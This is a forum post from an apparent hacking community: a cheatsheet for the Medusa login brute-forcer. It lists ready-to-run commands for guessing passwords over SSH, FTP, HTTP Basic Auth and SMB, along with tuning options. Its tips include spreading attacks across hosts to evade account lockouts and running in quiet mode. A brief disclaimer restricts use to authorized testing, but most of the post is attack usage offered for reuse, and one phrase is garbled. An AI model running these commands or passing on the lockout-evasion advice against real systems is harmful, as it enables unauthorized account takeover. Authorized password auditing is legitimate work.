Cracking 🔓 Medusa - Cheatsheet, Tips and Useful Commands

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Medusa - Cheatsheet, Tips and Useful Commands

This post was created for the Hack Tools Dark Community.


Medusa is a speedy, parallel, and modular login brute-forcer that supports many protocols.
Below you’ll find common use cases, command examples, and tricks to maximize efficiency during security assessments.

Disclaimer: This content is for educational purposes only and must be used exclusively in authorized environments.
Neither the author nor the HTDark community is responsible for any misuse.


What is Medusa?
Medusa is a command-line tool for brute-forcing credentials against various services.
It supports high parallel testing and is useful in red team operations or login audit scenarios.

Basic Syntax

medusa -h <target> -u <username> -P <password_file> -M <module>

Common Modules (-M)

• ssh
• ftp
• telnet
• http
• rlogin
• vnc
• smbnt
• mysql
• postgres
• smtp
• svn

Examples

Brute-force SSH login:

medusa -h 192.168.1.10 -u root -P passwords.txt -M ssh

Brute-force with a user list:

medusa -h 192.168.1.10 -U users.txt -P passwords.txt -M ssh

HTTP Basic Auth on port 8080:

medusa -h 192.168.1.10 -U users.txt -P passwords.txt -M http -m DIR:/admin -m PORT:8080

FTP brute-force with SSL enabled:

medusa -h 192.168.1.10 -U users.txt -P passwords.txt -M ftp -m SSL:1

Useful Options

• -H = list of hosts
• -U = list of usernames
• -P = list of passwords
• -t = number of parallel threads (default: 16)
• -n = custom port
• -O = output file for results
• -T = stop scanning on first success per host
• -f = stop on first valid credentials

Tips & Tricks

• Speed it up: Use `-t 32` or higher on powerful machines.
• Use combo lists: Combine usersasswords if supported by module.
• Bypass lockouts: Spread the attack over multiple hosts with `-H`.
• Silent mode: Use `-q` to suppress verbose output.
• Save time: Use `-T` or `-f` to stop after first success.
• HTTP Custom Login Pages: Not all web logins will work with Medusa; consider Hydra or custom scripts.

Real-World Example: SMB Brute-force

medusa -h 192.168.1.10 -U users.txt -P passwords.txt -M smbnt -m DOMAIN:WORKGROUP

Installation (Debian/Ubuntu)

sudo apt update && sudo apt install medusa

Useful Resources

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  - Official repo
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  - Kali Linux reference
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  - Wordlists for brute-force

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Do you prefer Medusa over Hydra or Ncrack?
Have you built custom modules or scripts that enhance its power?

Drop your insights and join the discussion!